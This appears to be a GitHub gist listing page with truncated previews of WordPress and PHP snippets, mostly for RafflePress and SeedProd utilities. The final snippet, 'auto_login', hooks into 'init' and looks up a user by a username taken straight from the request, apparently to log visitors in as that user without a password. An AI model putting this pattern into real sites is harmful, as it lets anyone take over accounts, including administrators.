This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// get total entries count | |
$contestant_id = 1; | |
$tablename = $wpdb->prefix . 'rafflepress_entries'; | |
$sql = "SELECT count(id) FROM $tablename WHERE contestant_id = %d AND deleted_at IS NULL"; | |
$safe_sql = $wpdb->prepare( $sql, $contestant['id'] ); | |
$total_entries = $wpdb->get_var( $safe_sql ); | |
$contestant['total_entries'] = $total_entries; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Resize images dynamically using wp built in functions | |
* Victor Teixeira | |
* | |
* php 5.2+ | |
* | |
* Exemplo de uso: | |
* | |
* <?php |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: RafflePress Invent Your Own | |
Plugin URI: | |
Description: Programmatically Add User and Complete Actions in RafflePress | |
Version: | |
Author: | |
Author URI: | |
License: | |
License URI: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<a id='COCBadgeURL' href='https://www.chamberofcommerce.com/united-states/colorado/denver/massage-therapist/2013293472-gentle-myofascial-release?source=memberwebsite' target='_tab' rel='noopener'><img style='width:auto;height:150px;' id='COCBadgeIMG' src='https://coc.codes/images/badge/2013293472'></a> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
update_option( 'seedprod_token', wp_generate_uuid4() ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"show_header_template":true, | |
"show_footer_template":true, | |
"no_conflict_mode":false, | |
"no_index":false, | |
"seo_title":"", | |
"seo_description":"", | |
"favicon":"", | |
"social_thumbnail":"", | |
"enable_recaptcha":false, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// https://simplehtmldom.sourceforge.io/ | |
include_once('simple_html_dom.php'); | |
function semi_it( $string ) { | |
return rtrim( $string, ';' ) . ';'; | |
} | |
function generate_random_string($length = 10) { | |
$characters = '0123456789abcdefghijklmnopqrstuvwxyz'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// The Loop | |
/* | |
* Usage: loop category="news" query="" pagination="false" | |
*/ | |
<?php | |
add_shortcode("loop", "myLoop"); | |
function myLoop($atts, $content = null) { | |
extract(shortcode_atts(array( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'init', 'auto_login'); | |
function auto_login(){ | |
$username = $_REQUEST['username']; | |
if($username == 'john'){ | |
exit(); | |
} | |
if ( !is_user_logged_in() ) { | |
$user = get_user_by( 'login', $username ); |
NewerOlder